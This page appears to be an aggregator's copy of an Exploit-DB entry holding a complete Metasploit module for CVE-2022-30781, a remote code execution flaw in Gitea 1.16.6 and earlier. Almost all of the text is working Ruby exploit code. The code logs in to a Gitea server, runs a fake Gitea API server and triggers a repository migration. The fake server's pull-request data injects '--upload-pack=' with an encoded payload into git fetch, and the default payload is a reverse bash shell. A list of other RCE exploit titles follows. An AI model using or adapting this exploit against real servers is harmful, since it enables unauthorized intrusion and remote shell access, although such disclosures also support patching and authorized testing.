

[webapps] Gitea 1.16.6 - Remote Code Execution (RCE) (Metasploit)
source link: https://www.exploit-db.com/exploits/51009
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Gitea 1.16.6 - Remote Code Execution (RCE) (Metasploit)
Exploit:
/
# Exploit Title: Gitea Git Fetch Remote Code Execution
# Date: 09/14/2022
# Exploit Author: samguy
# Vendor Homepage: https://gitea.io
# Software Link: https://dl.gitea.io/gitea/1.16.6
# Version: <= 1.16.6
# Tested on: Linux - Debian
# Ref : https://tttang.com/archive/1607/
# CVE : CVE-2022-30781
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gitea Git Fetch Remote Code Execution',
'Description' => %q{
This module exploits Git fetch command in Gitea repository migration
process that leads to a remote command execution on the system.
This vulnerability affect Gitea before 1.16.7 version.
},
'Author' => [
'wuhan005 & li4n0', # Original PoC
'krastanoel' # MSF Module
],
'References' => [
['CVE', '2022-30781'],
['URL', 'https://tttang.com/archive/1607/']
],
'DisclosureDate' => '2022-05-16',
'License' => MSF_LICENSE,
'Platform' => %w[unix win],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
],
'DefaultOptions' => { 'WfsDelay' => 30 },
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)
register_options([
Opt::RPORT(3000),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with']),
OptString.new('PASSWORD', [true, 'Password to use']),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/user/login'),
'keep_cookies' => true
)
return CheckCode::Unknown('No response from the web service') if res.nil?
return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200
# Powered by Gitea Version: 1.16.6
unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))
return CheckCode::Unknown('Target does not appear to be running Gitea.')
end
if match[:version].match(/[a-zA-Z]/)
return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/user/login'),
'vars_post' => {
'user_name' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'_csrf' => get_csrf(res.get_cookies)
},
'keep_cookies' => true
)
return CheckCode::Safe('Authentication failed') if res&.code != 302
if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6')
return CheckCode::Appears("Version detected: #{match[:version]}")
end
CheckCode::Safe("Version detected: #{match[:version]}")
rescue ::Rex::ConnectionError
return CheckCode::Unknown('Could not connect to the web service')
end
def primer
['/api/v1/version', '/api/v1/settings/api',
"/api/v1/repos/#{@migrate_repo_path}",
"/api/v1/repos/#{@migrate_repo_path}/pulls",
"/api/v1/repos/#{@migrate_repo_path}/topics"
].each { |uri| hardcoded_uripath(uri) } # adding resources
vprint_status("Creating repository \"#{@repo_name}\"")
gitea_create_repo
vprint_good('Repository created')
vprint_status("Migrating repository")
gitea_migrate_repo
end
def exploit
@repo_name = rand_text_alphanumeric(6..15)
@migrate_repo_name = rand_text_alphanumeric(6..15)
@migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}"
datastore['URIPATH'] = "/#{@migrate_repo_path}"
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
[@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) }
cleanup # removing all resources
end
def get_csrf(cookies)
csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last
fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf
csrf
end
def gitea_remove_repo(name)
vprint_status("Cleanup: removing repository \"#{name}\"")
uri = "/#{datastore['username']}/#{name}/settings"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, uri),
'keep_cookies' => true
)
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'action' => 'delete',
'repo_name' => name,
'_csrf' => get_csrf(res.get_cookies)
},
'keep_cookies' => true
)
vprint_warning('Unable to remove repository') if res&.code != 302
end
def gitea_create_repo
uri = normalize_uri(target_uri.path, '/repo/create')
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)
@uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text
fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'uid' => @uid,
'auto_init' => 'on',
'readme' => 'Default',
'repo_name' => @repo_name,
'trust_model' => 'default',
'default_branch' => 'master',
'_csrf' => get_csrf(res.get_cookies)
},
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302
rescue ::Rex::ConnectionError
return CheckCode::Unknown('Could not connect to the web service')
end
def gitea_migrate_repo
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/repo/migrate'),
'keep_cookies' => true
)
uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text
fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri
svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, uri),
'keep_cookies' => true
)
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'uid' => @uid,
'service' => svc_type,
'pull_requests' => 'on',
'repo_name' => @migrate_repo_name,
'_csrf' => get_csrf(res.get_cookies),
'auth_token' => rand_text_alphanumeric(6..15),
'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}",
},
'keep_cookies' => true
)
if res&.code != 302 # possibly triggered by the [migrations] settings
err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text
gitea_remove_repo(@repo_name)
cleanup
fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}")
end
rescue ::Rex::ConnectionError
return CheckCode::Unknown('Could not connect to the web service')
end
def on_request_uri(cli, req)
case req.uri
when '/api/v1/version'
send_response(cli, '{"version": "1.16.6"}')
when '/api/v1/settings/api'
data = {
'max_response_items':50,'default_paging_num':30,
'default_git_trees_per_page':1000,'default_max_blob_size':10485760
}
send_response(cli, data.to_json)
when "/api/v1/repos/#{@migrate_repo_path}"
data = {
"clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}",
"owner": { "login": datastore['username'] }
}
send_response(cli, data.to_json)
when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"
send_response(cli, '{"topics":[]}')
when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
data = [
{
"base": {
"ref": "master",
},
"head": {
"ref": "--upload-pack=#{payload.encoded}",
"repo": {
"clone_url": "./",
"owner": { "login": "master" },
}
},
"updated_at": "2001-01-01T05:00:00+01:00",
"user": {}
}
]
send_response(cli, data.to_json)
end
end
end
Recommend
-
10
BoxBilling<=4.22.1.5 - Remote Code Execution (RCE) ...
-
11
Covenant v0.5 - Remote Code Execution (RCE) ...
-
18
WooCommerce v7.1.0 - Remote Code Execution(RCE) ...
-
18
Textpattern 4.8.8 - Remote Code Execution (RCE) (Authenticated)...
-
12
Roxy WI v6.1.1.0 - Unauthenticated Remote Code Execution (RCE) via ssl_cert Upload...
-
5
MyBB 1.8.32 - Remote Code Execution (RCE) (Authenticated) ...
-
10
File Thingie 2.5.7 - Remote Code Execution (RCE) ...
-
11
Roxy WI v6.1.0.0 - Unauthenticated Remote Code Execution (RCE) via subprocess_execute...
-
2
GetSimple CMS v3.3.16 - Remote Code Execution (RCE) ...
-
5
SitemagicCMS 4.4.3 - Remote Code Execution (RCE) ...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK